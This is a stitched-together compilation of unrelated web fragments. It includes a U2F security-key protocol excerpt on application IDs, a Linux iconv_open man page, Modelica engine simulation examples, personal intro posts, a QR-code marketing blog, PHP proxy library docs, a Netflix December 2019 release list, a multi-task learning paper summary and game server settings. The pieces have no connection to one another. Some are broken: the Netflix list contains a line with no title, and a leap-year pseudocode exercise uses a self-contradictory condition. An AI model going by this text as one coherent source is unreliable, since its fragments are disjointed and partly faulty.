As an optimization, note that when a origin detects a particular Key Handle is used successfully to authenticate from a particular browser, it can remember that Key Handle for future reference by setting a cookie on that browser and trying that Key Handle first before attempting other Key Handles.
As the reader would have noticed, user privacy is a fundamental design consideration for the U2F protocol. The various privacy related design points are reiterated here:
The infobar approach puts a decision burden on the users - this is a downside and the infobar UX design has to be done with care.
As discussed earlier, USB based devices will be followed immediately by other transports which are becoming available widely for local communication - in specific, NFC, Bluetooth LE, and built-in U2F devices. The implementation drafts of these specifications are available now in this release.
The discussion above has been focused on the browser as the client side vehicle, with a JavaScript API to talk to U2F devices. However, it is perfectly sensible to have app on a mobile OS such as Android talk to U2F devices over a system API.
When building a native system API, we still need a notion of 'origin'. For example, if foo.com's app mints a key on a particular U2F device, then bar.com's app should not be able to exercise that key. Even more importantly, if the user uses the foo.com web app on a computer and foo.com's app on a mobile device, the user needs to be able to use the same U2F device with both. This means that there has to be mechanism where the origin sent down to the U2F device by the browser for the foo.com web page matches the origin sent down to the U2F device by the mobile OS for the foo.com app.
This is achieved by specifying a level of indirection using the notion of an 'application id', which is a generalization of the origin concept. The 'application id' is a publicly fetchable https URL where a particular origin (such as foo.com) lists its various 'facets' - for example, it may list the hostname 'www.foo.com' and the identifier for the signatures of foo.com's android app. The application id https URL is assumed to be under the control of the origin - in other words, only it can change the list of 'facets'.
The origin website or online service sends its 'application id' down as a parameter to the U2F API on the web page. The browser fetches the content of the 'application id' URL and ensures that the actual origin it sees for the web page calling the U2F API is indeed listed in the 'facets' in the 'application id' URL. For example, if a page served off www.foo.com makes a U2F API call, then this host name needs to be listed as a facet in the 'application id which is passed down. Similarly when a particular mobile app passes a 'application id' to a U2F API on a mobile OS, the OS checks if the code signing signature of that particular app is listed as a facet in the 'application id'. After these check if the 'facet' is indeed in the 'application id' as expected, the hash of the 'application id' is sent down to the U2F device, rather than the hash of the 'origin'. This ensures that foo.com's web page and foo.com's mobile app both are seen as the same site by the U2F device. As mentioned earlier, the 'application id' is a generalized notion of an origin.


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--- layout: post title: Summarising video date: 2006-10-09 00:00:00 categories: digital-media interfaces-&-interaction ---
More from the office of the bleeding obvious...
I was playing with Gawker on Friday, recording a time-lapse movie of myself at work (major discovery: I palpate my face too often to be healthy). And it occurred to me that little time-lapsed clips might be a better way of summarising video content than a thumbnail of the first frame...


Hello, {UserName}
Your Package {OrderId} has arrived.
Package tracking number: {TrackingNumber}
Sincerely,Softeq Team


{% extends "layout.html" %} {% block content %}
In the data sphere the goal is to move data from disparate sources to an application where users can leverage the results. In line with this goal, I developed web application built on Plotly Dash to demonstrate how the output of a machine learning project can be served as a interactive web application.


ICONV_OPEN
Section: Linux Programmer's Manual (3)
Updated: 2008-08-11
Index
Return to Main Contents
NAME
iconv_open - allocate descriptor for character set conversion
SYNOPSIS
#include <iconv.h>
iconv_t iconv_open(const char *tocode, const char *fromcode);
DESCRIPTION
The
iconv_open()
function allocates a conversion descriptor suitable
for converting byte sequences from character encoding
fromcode
to
character encoding
tocode.
The values permitted for
fromcode
and
tocode
and the supported
combinations are system-dependent.
For the GNU C library, the permitted
values are listed by the
iconv --list
command, and all combinations
of the listed values are supported.
Furthermore the GNU C library and the
GNU libiconv library support the following two suffixes:
- //TRANSLIT
-
When the string "//TRANSLIT" is appended to
tocode,
transliteration
is activated.
This means that when a character cannot be represented in the
target character set, it can be approximated through one or several
similarly looking characters.
- //IGNORE
-
When the string "//IGNORE" is appended to
tocode,
characters that
cannot be represented in the target character set will be silently discarded.
The resulting conversion descriptor can be used with
iconv(3)
any number of times.
It remains valid until deallocated using
iconv_close(3).
A conversion descriptor contains a conversion state.
After creation using
iconv_open(),
the state is in the initial state.
Using
iconv(3)
modifies the descriptor's conversion state.
(This implies that a conversion
descriptor can not be used in multiple threads simultaneously.)
To bring the state back to the initial state, use
iconv(3)
with NULL as
inbuf
argument.
RETURN VALUE
The
iconv_open()
function returns a freshly allocated conversion
descriptor.
In case of error, it sets
errno
and returns
(iconv_t) -1.
ERRORS
The following error can occur, among others:
- EINVAL
-
The conversion from
fromcode
to
tocode
is not supported by the
implementation.
VERSIONS
This function is available in glibc since version 2.1.
CONFORMING TO
UNIX98, POSIX.1-2001.
SEE ALSO
iconv(1),
iconv(3),
iconv_close(3)
Index
- NAME
-
- SYNOPSIS
-
- DESCRIPTION
-
- RETURN VALUE
-
- ERRORS
-
- VERSIONS
-
- CONFORMING TO
-
- SEE ALSO
-
This document was created by
man2html,
using the manual pages.
Time: 02:55:09 GMT, September 18, 2014


Notes
N/A
Patient name:
Age:
N/A
N/A
NBC:
Sex:
N/A
N/A
Wound state:
Status:
N/A
Vitals
N/A
N/A
N/A
N/A
N/A
N/A
N/A


A set of examples to demonstrate the 'SimpleCar' package
Information
This package contains several example models that
demonstrate the component and subsystem models
found in the 'SimpleCar' package. Each of the examples
includes some documentation on how the examples
should be used.
Race a car from 0-100 kilometers per hour
Information
This example allows you to study the effects of various vehicle/transmission/engine parameters.
The simulation will automatically stop once the vehicle has reached 100 kilometers per hour unless a shorter
simulation time is specified.
Modelica definition
model Race "Race a car from 0-100 kilometers per hour"
extends Modelica.Icons.Example;
Vehicles.SportsCar sports_car;
Chassis.Road race_track;
equation
connect(race_track.road_surface, sports_car.road);
when (sports_car.speed.signal[1] > 100) then
terminate("Simulation from 0-100 kilometers per hour completed")
;
end when;
end Race;
Single cylinder engine connected to a dynamometer
Information
This simulation involves a single cylinder connected
to a dynamometer. One interesting thing to look at
in this simulation is the instantaneous torque felt
by the dynamometer vs. the average torque. Both are
available as variables to be viewed within the dynamometer
model.
Modelica definition
model CylinderOnDyno
"Single cylinder engine connected to a dynamometer"
extends Modelica.Icons.Example;
Engine.Components.Reservoir intake(P=50000);
Engine.Components.Reservoir exhaust;
Engine.Components.IndividualCylinder cylinder(
spark_advance=20,
burn_duration=60,
evo=40,
ivo=150,
evc=205,
ivc=310,
combustion_chamber);
Engine.Components.Dynamometer dyno;
Modelica.Blocks.Sources.Ramp speed_profile(
height={3000},
duration={5},
offset={1500},
startTime={2});
Engine.GeometrySource sample_geometry(
bore=.08,
stroke=.08,
conrod=.152,
comp_ratio=9.5);
equation
connect(cylinder.exhaust, exhaust.tap);
connect(cylinder.intake, intake.tap);
connect(dyno.shaft, cylinder.crankshaft);
connect(speed_profile.outPort, dyno.rpm);
connect(sample_geometry.geom, cylinder.geom);
end CylinderOnDyno;
Single cylinder engine connected to a flywheel
Information
This is a simulation of a single cylinder engine connected to a
flywheel. The idea is to see the acceleration of the flywheel.
This is in contrast to other models where dynamometers are used
to keep the speed fixed.
Modelica definition
model CylinderAndInertia
"Single cylinder engine connected to a flywheel"
extends Modelica.Icons.Example;
Engine.Components.Reservoir intake(P=50000);
Engine.Components.Reservoir exhaust;
Engine.Components.IndividualCylinder cylinder1(spark_advance=20,
burn_duration=60);
Engine.GeometrySource sample_geometry(
bore=.08,
stroke=.08,
conrod=.152,
comp_ratio=9.5);
Modelica.Mechanics.Rotational.Inertia flywheel(J=10);
Modelica.Mechanics.Rotational.Torque starter;
Modelica.Blocks.Sources.Step starter_torque(height={100}, startTime={1});
equation
connect(cylinder1.exhaust, exhaust.tap);
connect(cylinder1.intake, intake.tap);
connect(sample_geometry.geom, cylinder1.geom);
connect(flywheel.flange_b, cylinder1.crankshaft);
connect(starter_torque.outPort, starter.inPort);
connect(starter.flange_b, flywheel.flange_a);
end CylinderAndInertia;
I4 engine connected to a dynamometer
Information
This is a simulation of an I4 engine connected to a dynamometer. The interesting
thing about this simulation that sets it apart from the single cylinder case is
that this model will demonstrate manifold filling and emptying effects.
Modelica definition
model I4EngineOnDyno "I4 engine connected to a dynamometer"
extends Modelica.Icons.Example;
Engine.Components.Dynamometer dyno;
Modelica.Blocks.Sources.Ramp speed_profile(
height={3000},
duration={5},
offset={1500},
startTime={2});
Engine.Components.Reservoir intake(P=101800);
Engine.Components.Reservoir exhaust;
Engine.SportsCarGeometry sample_geometry(
bore=.08,
stroke=.08,
conrod=.152,
comp_ratio=9.5);
Engine.Components.I4_Engine I4(
spark_advance=20,
burn_duration=60,
evo=64);
Engine.Components.Manifold intake_manifold;
Modelica.Blocks.Sources.Constant throttle_angle(k={90});
equation
connect(I4.engine_geometry, sample_geometry.geom);
connect(I4.exhaust, exhaust.tap);
connect(dyno.shaft, I4.crankshaft);
connect(intake_manifold.ambient, intake.tap);
connect(intake_manifold.manifold, I4.intake);
connect(throttle_angle.outPort, intake_manifold.throttle_angle);
connect(speed_profile.outPort, dyno.rpm);
end I4EngineOnDyno;
I4 engine connected to a flywheel
Information
This model simulates an I4 engine accelerating an inertia.
Modelica definition
model I4EngineAndInertia "I4 engine connected to a flywheel"
extends Modelica.Icons.Example;
Engine.Components.I4_Engine engine(spark_advance=20, burn_duration=60);
Engine.GeometrySource geometry(
bore=0.080,
stroke=0.080,
conrod=0.157);
Engine.Components.Reservoir intake_manifold;
Engine.Components.Reservoir exhaust_manifold;
Modelica.Mechanics.Rotational.Inertia flywheel(J=10, w(start=157));
equation
connect(geometry.geom, engine.engine_geometry);
connect(exhaust_manifold.tap, engine.exhaust);
connect(intake_manifold.tap, engine.intake);
connect(flywheel.flange_b, engine.crankshaft);
end I4EngineAndInertia;
HTML-documentation generated by Dymola Tue Feb 13 21:45:47 2001
.


You touch a creature and grant it a measure of protection from death.
The first time the target w ould drop to 0 hit points as a result of taking damage, the target instead drops to 1 hit point, and the spell ends.
If the spell is still in effect when the target is subjected to an effect that would kill it instantaneously without dealing damage, that effect is instead negated against the target, and the spell ends.


Create targets for draggable elements.
Want to learn more about the droppable interaction? Check out the API documentation.


Class 11 & 12, Group-6
I’m Brain Ketunze from Cameroon, the English speaking part of the country. I'm a Master Degree holder in Gerontology at Brussels University(VUB). I live in Landen Belgium together with my family. My hobbies are watching football, movies, running, swimming and reading new papers.
Hi my name is Rafael I'm from Venezuela I live in Mons Belgium. I'm a web developer student of Hack Your Future Belgium. I love football and is hobbies is watching movies and travelling. This football club are celebrating the anniversaries of the club's 13 European Cup triumphs during the period between 11 May and 13 June. The histories of Real Madrid and the European Cup go hand in hand
Hi my name is Tahmina, I came from Afghanistan a year ago, and I am living in Antwerp city. My real address is in a refugee center but I am living with my friend to have stable internet connection for my study which was not available in the center. My hobbies are watch movies cooking travelling etc…..


Hello World_
I'm Richard Job
I Work With
An undergraduate student at Madras Christian College, Chennai. Programming has been my passion for almost 2 years. I believe in lifelong learning that has no heights. Advancing and upgrading myself with the latest technologies is what I love the most. I am keen to learn more in the field of server side development along with some frontend knowledge.
RESUME HIRE ME


It seems like QR codes are everywhere these days. Yes, literally everywhere, from restaurant tables to Train station to bananas. (Can you believe it? On Bananas!)
While their usage is not quite mainstream (yet), it is growing steadily and I expect the adoption to really take off when iOS joins the other popular mobile platforms (Android and to some Windows Phone) and supports QR Code natively. There are helpful posts on how to create your qrcode in 4 easy steps and how they can be used to generate leads . In this post, I’ll give you some power-user tips to generate Robust QR Codes and increase your chances of conversion.
In many ways a QR Code is like someone casually browsing your website. They start out as a casual onlooker of QR Code and ends up as a lead. If you think of it as a funnel (Like all marketers, I love funnels), here are five tips to make each step of the funnel effective :
1.** Make your QR code attractive**: Yes, you read that right. You can make QR Codes attractive. For example, you can customize it with your logo, use the same colors as your brand or identity so that it attracts attention.  Anytime you manually do anything with the QRCode, make sure you test it thoroughly, ensure that it can be scanned and ensure that you haven’t accidentally corrupted the code itself). Sticking your logo at the center of the code, with a white border (like in the example below, should usually be good). Here are a couple of examples of customized QRCodes.
Customized QR Code
QR Code Customized with Logo
- Make your QR Code easy to scan: Use a URL shortener so that you are encoding lesser information, and consider picking level H (for high level of error correction). A higher level of error correction increases the likelihood that your code will be scanned, even when it is exposed to adverse conditions (like bad weather, or the code is in a banana). Here is an example showing a QRCode with a long URL: http://blog.hubspot.com/blog/tabid/6307/bid/30678/9-Unique-Ways-to-Generate-Leads-With-QR-Codes.aspx and the same code but now representing a shortened URL: http://hub.am/NKxvQr Any guesses on which will be picked up faster by the phone?
QR Code with regular, un-shortened URL
QR Code with shortened URL has bigger “handles”
3. Make sure your QR Code takes to a mobile optimized page: All your efforts in making your QRCode attractive will be of no use, if your leads land on a page that is not optimized for mobile. You should also consider content that is mobile friendly (such as a video)
4. Think beyond URLs : Think beyond URLs, make it contextual and make it relevant. For example, A QR code in a business card should be that of a VCF file. Remember that QR Codes are not restricted to just URLs. You can have QR codes for a lot of different categories including YouTube Videos, Google Maps Location, Twitter, Facebook, LinkedIn, FourSquare, Telephone Number, SMS Message, Email Address, Email Message, Contact Details (VCARD), Event (VCALENDAR)
5. Try, Measure, Fix, Repeat: QR Codes are a great way to bridge the gap between online and offline marketing. Use utm_campaign codes using a tracking URL builder when encoding your URLs (which gives you one more reason to use a URL shortener). If you use these codes, you can exactly tell how many visits you are getting from the QR Code and how many of those are converting to leads
Have you used QR Codes successfully in your marketing campaigns? How did you make the most out of it?


Configuring with module components
When using Singularity.Duality
the framework already creates a container for you. You only have to configure the dependencies. Currently there are 2 scopes in duality for dependencies:
- Game, for dependencies living the entire game
- Scene, for dependencies that only live for a single scene
The dependencies are registered in a class that implements the IModule
interface. The interface itself is explained in more detail here. Each scope has its own way of defining the modules themselves.
How are dependencies injected?
Ok you now know how to configure your dependencies but how do you actually get them in the components? Duality already creates the components so unfortunately we cannot use constructor injection here. Instead we have to resort to method injection. In order to use method you need is a component with a method thats marked with the [Inject]
attribute:
public class ExampleComponent : Component
{
public IGameManager GameManager { get; private set; }
public IPathfinder Pathfinder { get; private set; }
[Inject]
public void Init(IGameManager gameManager, IPathfinder pathfinder)
{
GameManager = gameManager;
Pathfinder = pathfinder;
}
}
Singularity.Duality
with then call those methods whenever a component is activated.
More info about method injection can be found in this article.


"Lamplights flicker in the most subtle ways as you stand on the city sidewalk. Chicago is usually more lively at this time of night.  Something is amiss. You see a set of moon-white, purple-iris eyes peering from a nearby alley, revving your heartbeat. Do you APPROACH the eyes, STARE at the eyes, or RUN from the eyes?"


{{< layout}} {{$propositionHeader}}{{/propositionHeader}} {{$pageTitle}}Information about urgent passport{{/pageTitle}} {{$header}} {{/header}} {{$main-content}}
You can only use this service to renew your passport. You'll need to:
Choose an appointment to collect your new passport
Get a friend to take your digital photo on a phone, tablet or digital camera – we'll show you how
Apply online and pay with a debit or credit card
Collect your new passport – it usually takes 30 minutes
If there's a problem with your application, we'll contact you before you collect your passport.
The earliest appointment is in 2 days. If you need your passport sooner, choose paper Premium.


Sara Khosravi
About
Contact
Portfolio
Portfolio
Hangman
Trivia Game
Rock Paper Scissors
RPG Game
Rutgers Info Widget


..all text files are actually the .js files...that had been tested by, 'node [...js]', on command line to have the desired result
..it then modfied a little to fit the case of text-box inputs and button clicking for each exercise
==================================
NUMBER 1
==================================
STORE "massa" with any number
STORE "percepatan" with any number
CALCULATE "massa" times "percepatan", and SAVE as "resultan"
DISPLAY "resultan"
==================================
NUMBER 2
==================================
STORE "tahun" with any number
CALCULATE "tahun" mod 4, and SAVE as "divisibleByFour"
CALCULATE "tahun"
mod 100, and SAVE as "divisibleByOneHundred"
CALCULATE "tahun" mod 400, and SAVE as
"divisibleByFourHundred"
IF ("divisibleByFour" == 0 AND "divisibleByOneHundred" != 0)
AND ( "divisibleByFour" ==
0
AND
"divisibleByOneHundred" == 0 AND "divisibleByFourHundred" == 0)
DISPLAY
`"tahun"
adalah tahun kabisat`
ELSE
DISPLAY `"tahun" bukan tahun kabisat`
==================================
NUMBER 3
==================================
STORE "clothesAmount" with 0
STORE "clothesToBeWashed" to any number //or 20 as stated by the
question
WHILE "clothesToBeWashed" > 0
DO load one cloth to the machine
DO
CALCULATE
"clothesToBeWashed" - 1, and SAVE to "clothesToBeWashed"
DO CALCULATE "clothesAmount" +
1,
and
SAVE to "clothesAmount"
IF "clothesAmount" != 0
DISPLAY you'll be washing "clothesAmount" soon enough~!
DO
turn on the washing machine
ELSE
DISPLAY no cloth to be washed, washing machine
will
stay
off for the time being
==================================
NUMBER 4
==================================
//let's assume that each student is numbered uniquely,
//...so that, the teacher won't visit each student TWICE or
more
//so there'll be a student number 1 and then number 2 etc. etc.
STORE
"studentsAmount"
with any number // or 40 as stated by the question
WHILE "studentsAmount" > 0
DO go to student number: "studentsAmount"
IF
student
has trimmed his/her nails
DO praise him/her
ELSE
DO
punish him/her
DO CALCULATE "studentsAmount" -1, and SAVE to "studentsAmount"
N.B.~ this probably is a joke
A: hello there...
A: So what’s new this week?
B: An introduction to javascript...
A: did you learn something new?
B: maybe...
A: is that all?
B: maybe...
A: sigh...
B: what do you think about syntactic sugar? Like...everything, well i mean the lines of code can be written in just single line....is it a ‘good practice’ to implement
A: it depends....on the people who’ll be reading your code....
B: but i like it...because it can summarize a long-train of thought...sortin’ branching statements and functions declarations are just a start
A: so it hurts you to see the lines that is repeating over and over again...but it ‘ll be a good remainder...
B: not exactly...but when i see it...it’s like my head bangs itself to ward my monitor..
A: lol, it’s up to you.....i hope whoever read your code have the aptitude
B:judgemental...you are, just who are you anyway...
A: i’m you...btw
B: just...what...am i doing...


MenuBarStyle QML Type
Provides custom styling for MenuBar More...
| Import Statement: | import QtQuick.Controls.Styles 1.4 |
| Since: | Qt 5.3 |
Properties
- background : Component
- font : font
- itemDelegate : Component
- menuStyle : Component
Methods
- string formatMnemonic(string text, bool underline)
Detailed Description
Note: Styling menu bars may not be supported on platforms using native menu bars through their QPA plugin.
Property Documentation
background : Component |
The background for the full menu bar.
The background will be extended to the full containing window width. Its height will always fit all of the menu bar items. The final size will include the paddings.
font : font |
The font of the control.
This QML property was introduced in QtQuick.Controls.Styles 1.3.
itemDelegate : Component |
The menu bar item.
This item has to be configured using the styleData object which is in scope, and contains the following read-only properties:
| styleData.index : int | The index of the menu item in its menu. |
| styleData.selected : bool | true if the menu item is selected. |
| styleData.open : bool | true when the pull down menu is open. |
| styleData.text : string | The menu bar item's text. |
| styleData.underlineMnemonic : bool | When true , the style should underline the menu item's label mnemonic. |
menuStyle : Component |
The style component for the menubar's own menus and their submenus.
See also MenuStyle.
Method Documentation
Returns a formatted string to render mnemonics for a given menu item.
The mnemonic character is prefixed by an ampersand in the original string.
Passing true
for underline
will underline the mnemonic character (e.g., formatMnemonic("&File", true)
will return "<u>F</u>ile"
). Passing false
for underline
will return the plain text form (e.g., formatMnemonic("&File", false)
will return "File"
).
See also Label.


The following tasks listed are common activities performed within a home environment. Physical interaction is most common action required by non-connected devices. Due to the lack of connectivity, the ability to extract digital telemetry is not achievable; therefore, making it impossible to determine real-time state or consumption status for financial budgeting purposes.


{if $salutation == 'sir'}[t]Dear Mr.[/t] {elseif $salutation == 'madam'}[t]Dear Ms.[/t] {else}[t]Dear Ms./Mr.[/t] {/if} {$candidateSurname},
[t]I would like to confirm that we have a meeting schedules at {$date}, {$timeStart} - {$timeEnd} in our office. Please do not forget to take anything you might consider relevant to your application with you, like your CV, college diploma's and such. I look forward to seeing you there.[/t]
[t]Regards,[/t]
{$consultantName}


DB SETTINGS
Please click on new collection to create a document schema and calculate the size of the document


RT @PragTob: So one night of sleep and I wake up to ~32 @shoooesrb notifications. Great work @wasnotrice + @jasonrclark :-) http://t.co/Eoq…
12/31/2013, 8:15:06 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @PragTob: So one night of sleep and I wake up to ~32 @shoooesrb notifications. Great work @wasnotrice + @jasonrclark :-) http://t.co/Eoq…
12/31/2013, 8:15:06 AM
Favs: 0
Retweets: 0
link


 Rate Chance: 60%
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Buff/Dance Slots Value: 32/14
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Buff Time Value: 2 hour
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Max. Clients per PC Value: 5
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Olympiad
Heroes are chosen every 2 weeks, at 1st and 15th of each month.
The Hero will be the individual who has accumulated the most Olympiad points according to their main
class, has competed more than 9 times in that period, and claimed at least 1 victory.
The maximum competition time is 6 minutes, and the player whose HP drops to 0 first will lose.
GameMaxLimit = 70 , GameClassesCountLimit = 30, GameNoClassesCountLimit = 60 , GameTeamCountLimit = 10
If no victor has emerged at the 6 minute mark, the character who has inflicted the most damage will be determined the winner.
The damage inflicted on an opponent's servitor is not considered in this determination.
HWID Protection and antifeed system helping you for fair matches.
Starting points are 50, and every week you gain 25.
Max enchant on olympiad is +6, even if your items are enchantet over +6
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The paper hypothesizes that main optimization challenges in multi-task learning arise because of negative interference between different tasks’ gradients.
It hypothesizes that negative interference happens when:
The gradients are conflicting (i.e., have a negative cosine similarity).
The gradients coincide with high positive curvature.
The difference in gradient magnitude is quite large.
The paper proses to work around this problem by performing “gradient surgery.”
If two gradients are conflicting, modify the gradients by projecting each onto the other’s normal plane.
This modification is equivalent to removing the conflicting component of the gradient.
This approach is referred to as projecting conflicting gradients (PCGrad).
Theoretical Analysis
The paper proves the local conditions under which PCGrad improves multi-task gradient descent in the two-task setup.
The conditions are:
Angle between the task gradients is not too small.
Difference in the magnitude of the gradients is sufficiently large.
Curvature of the multi-task gradient is large.
Large enough learning rate.
Experimental Setup
Multi-task supervised learning
MutliMNIST, Multi-task CIFAR100, NYUv2.
For Multi-task CIFAR-100, PCGrad is used with the shared parameters of the routing networks.
For NYUv2, PCGrad is combined with MTAN.
In all the cases, using PCGrad improves the performance.
Multi-task Reinforcement Learning
Meta-World Benchmark
PCGrad + SAC outperforms all other baselines.
In the context of SAC, the paper suggests learning temperature $\alpha$ on a per-task basis.
Goal-conditioned Reinforcement Learning
Goal-conditioned robotic pushing task with a Sawyer robot.
PCGrad + SAC outperforms vanilla SAC.


Everything New To Netflix In December: Christmas Movies, YOU Season 2 & More
by Tara WalshNew to Netflix
It's December from Sunday and Netflix have released a list of everything new to the streaming service for the festive period!
From Ian Somerhalder's new vampire series V Wars to the third installment of A Christmas Prince, you'll have plenty of content to binge.
Check out the full list below:
TV Series'
V Wars 05/12/19
A doctor is pitted against his best friend after an ancient disease turns people into vampires.
From the comics by Jonathan Maberry and Alan Robinson.
Home for Christmas 05/12/19
perpetually single Johanne is fed up with the constant comments on her relationship status.
So she starts a 24-day hunt for a partner to bring home for Christmas.
Triad Princess 06/12/19
After growing up in the shadow of her mafia-affiliated father, Angie defies his wishes and takes a gig as an undercover bodyguard for a famous actress.
Three Days of Christmas 06/12/19
Four sisters deal with family drama and secrets throughout three different time periods, all occurring on Christmas Day.
Virgin River 06/12/19
Searching for a fresh start, a nurse practitioner moves from LA to a remote northern California town.
She becomes surprised by what, and who she finds.
Soundtrack 18/12/19
This romantic musical drama follows the love stories connecting an eclectic group of people in modern-day Los Angeles.
Twice Upon a Time 19/12/19
Vincent receives a package with mysterious properties that could give him a chance to win back his ex, Louise.
The Witcher 20/12/19
This is an epic tale of fate and family.
It follows the story of the intertwined destinies of three individuals in the vast world of The Continent.
A place where humans, elves, witchers, gnomes, and monsters battle to survive and thrive.
And where good and evil is not easily identified.
You: Season 2 26/12/19
Joe is now laying low and hiding from his ex in LA.
Can he deal with his past and make a fresh start, this time with the right woman?
Movies
The Danish Girl 16/12/19
With support from his loving wife Gerda (Alicia Vikander), artist Einar Wegener (Eddie Redmayne) prepares to undergo one of the first sex-change operations.
Fast & Furious Spy Racers 26/12/19
This is executive produced by F&F masterminds Vin Diesel, Neal H. Moritz, and Chris Morgan.
The Secret Life of Pets 2 27/12/19
Max encounters canine-intolerant cows, hostile foxes and a scary turkey when he visits the countryside.

However, their kidnapping scheme quickly turns deadly.
A Christmas Prince: The Royal Baby 05/12/19
Christmas brings the ultimate gift to Aldovia: a royal baby.
But first, Queen Amber must help her family and kingdom by finding a missing peace treaty.
Marriage Story 06/12/19
This is an incisive and compassionate look at a marriage breaking up and a family staying together.
The film stars Scarlett Johansson and Adam Driver. Laura Dern, Alan Alda, and Ray Liotta co-star.
The Two Popes 20/12/19
This is an intimate story of one of the most dramatic transitions of power in the last 2,000 years.
Frustrated with the direction of the church, Cardinal Bergoglio (Jonathan Pryce) requests permission to retire in 2012 from Pope Benedict (Anthony Hopkins).
The App 26/12/19
While in Rome to shoot his first movie, actor and industrial heir Nick becomes obsessed with a dating app.
The app inevitably sends him into a self-destructive spiral.
Comedy
Tiffany Haddish: Black Mitzvah 03/12/19
On her 40th birthday, Tiffany Haddish drops a comedy special.
It's studded with singing, dancing and raunchy reflections on her long road to womanhood.
Jack Whitehall: Christmas with my Father 12/12/19
Jack Whitehall attempts to get his notoriously stodgy father into the holiday spirit.
Documentaries
The Confession Killer 06/12/19
On trial for murder, drifter Henry Lee Lucas confesses to hundreds more killings.
This docu-series examines the truth behind his admissions.
Don't F**k With Cats: Hunting an Internet Killer 18/12/19
This docu-series examines the greatest online manhunt in history.
It also delves into the psychopath killer who broke the first rule of the internet: don't mess with cats.
Kevin Hart: Don’t F**k This Up 27/12/19
Kevin Hart gives unprecedented access to his life over the past year.
Tapping into the trials and tribulations of what it means to be a father, a partner, a role-model and a business-man.
Hart reflects on the events that have shaped his life, making him into the person he is today.
Happy Christmas binge-watching!


Home
Load HTML, JavaScript and CSS dynamically
Load CSS dynamically
CSS is loaded by creating a
style
element and attaching it to the
head
. They way that
style
elements are attached to the
head differs between browser but the code is fairly straight-forward.
Here is an example (make sure
to show the developer console).
Load HTML & JavaScript dynamically
Loading HTML is actually trivilial. All you need to to is fetch the HTML with
XMLHttpRequest
and replace the
innerHTML
attribute of
an element in the DOM.
Loading JS is also fairly easy. Here is an example:
source.
Make sure to open the developer console.
Compability
These examples should work in all browsers. It took my quite a bit of testing
to make the JavaScript loading work in both the Gecko (Firefox) and Blink/WebKit
(Safari and Chrome).
Alternative solutions
- Browserify - I use browserify for
developing complex apps. It brings the NodeJS style of modules to browsers and
there is also a port of many of the NodeJS API.
- Traceur - ES6
modules today
- webpack
- AMD - Has been around for a long time
and works well but there are better alternatives today.


Access Interceptor Value Holder Proxy
An access interceptor value holder is a smart reference proxy that allows you to dynamically define logic to be executed before or after any of the wrapped object's methods logic.
It wraps around a real instance of the object to be proxied, and can be useful for things like:
- caching execution of slow and heavy methods
- log method calls
- debugging
- event triggering
- handling of orthogonal logic, and AOP in general
Example
Here's an example of how you can create and use an access interceptor value holder:
<?php
use ProxyManager\Factory\AccessInterceptorValueHolderFactory as Factory;
require_once __DIR__ . '/vendor/autoload.php';
class Foo
{
public function doFoo()
{
echo "Foo!\n";
}
}
$factory = new Factory();
$proxy = $factory->createProxy(
new Foo(),
array('doFoo' => function () { echo "PreFoo!\n"; }),
array('doFoo' => function () { echo "PostFoo!\n"; })
);
$proxy->doFoo();
This send something like following to your output:
PreFoo!
Foo!
PostFoo!
Implementing pre- and post- access interceptors
A proxy produced by the ProxyManager\Factory\AccessInterceptorValueHolderFactory
implements both the ProxyManager\Proxy\ValueHolderInterface
and the ProxyManager\Proxy\AccessInterceptorInterface
.
Therefore, you can set an access interceptor callback by calling:
$proxy->setMethodPrefixInterceptor('methodName', function () { echo 'pre'; });
$proxy->setMethodSuffixInterceptor('methodName', function () { echo 'post'; });
You can also listen to public properties access by attaching interceptors to __get
, __set
, __isset
and __unset
.
A prefix interceptor (executed before method logic) should have following signature:
/**
* @var object $proxy the proxy that intercepted the method call
* @var object $instance the wrapped instance within the proxy
* @var string $method name of the called method
* @var array $params sorted array of parameters passed to the intercepted
* method, indexed by parameter name
* @var bool $returnEarly flag to tell the interceptor proxy to return early, returning
* the interceptor's return value instead of executing the method logic
*
* @return mixed
*/
$prefixInterceptor = function ($proxy, $instance, $method, $params, & $returnEarly) {};
A suffix interceptor (executed after method logic) should have following signature:
/**
* @var object $proxy the proxy that intercepted the method call
* @var object $instance the wrapped instance within the proxy
* @var string $method name of the called method
* @var array $params sorted array of parameters passed to the intercepted
* method, indexed by parameter name
* @var mixed $returnValue the return value of the intercepted method
* @var bool $returnEarly flag to tell the proxy to return early, returning the interceptor's
* return value instead of the value produced by the method
*
* @return mixed
*/
$suffixInterceptor = function ($proxy, $instance, $method, $params, $returnValue, & $returnEarly) {};


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| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object de.modlab.smilib.main.SmiLibRunner
public class SmiLibRunner
Enumerates the combinatorial libraray.
| Constructor Summary | |
|---|---|
SmiLibRunner(java.lang.String[] scaffolds,
java.lang.String[] linkers,
java.lang.String[] bBlocks,
boolean useReactionScheme,
java.lang.String[] reactionScheme,
javax.swing.JTextArea targetTextArea,
boolean showLibrary,
boolean saveAsFile,
boolean saveAsSDF,
boolean addHydrogens,
java.lang.String path,
SmiLibFrame frame,
boolean checkSmiles)
Creates a new instance of SmiLibRunner, used when programm is started in GUI mode. |
|
SmiLibRunner(java.lang.String scaffoldsPath,
java.lang.String linkersPath,
java.lang.String buildingBlocksPath,
boolean printToCommandLine,
java.lang.String saveFilePath,
boolean addHydrogens,
boolean checkSmiles)
Creates a new instance of SmiLibRunner using a FullCombinationIterator (without reaction scheme) for enumerating the virtual library. |
|
SmiLibRunner(java.lang.String scaffoldsPath,
java.lang.String linkersPath,
java.lang.String buildingBlocksPath,
java.lang.String reactionSchemePath,
boolean printToCommandLine,
java.lang.String saveFilePath,
boolean addHydrogens,
boolean checkSmiles)
Creates a new instance of SmiLibRunner using a PartialCombinationIterator (with reaction scheme) for enumerating the virtual library. |
| Method Summary | |
|---|---|
SmilesWriter |
getSmilesWriter()
Returns the SmilesWriter of this class. |
void |
handleException(java.lang.Throwable thr)
Centralised Exception handling. |
void |
run()
Starts enumeration of the combinatorial library. |
void |
setStop(boolean b)
Sets whether this thread shall be stopped or not. |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public SmiLibRunner(java.lang.String scaffoldsPath, java.lang.String linkersPath, java.lang.String buildingBlocksPath, boolean printToCommandLine, java.lang.String saveFilePath, boolean addHydrogens, boolean checkSmiles)
scaffoldsPath
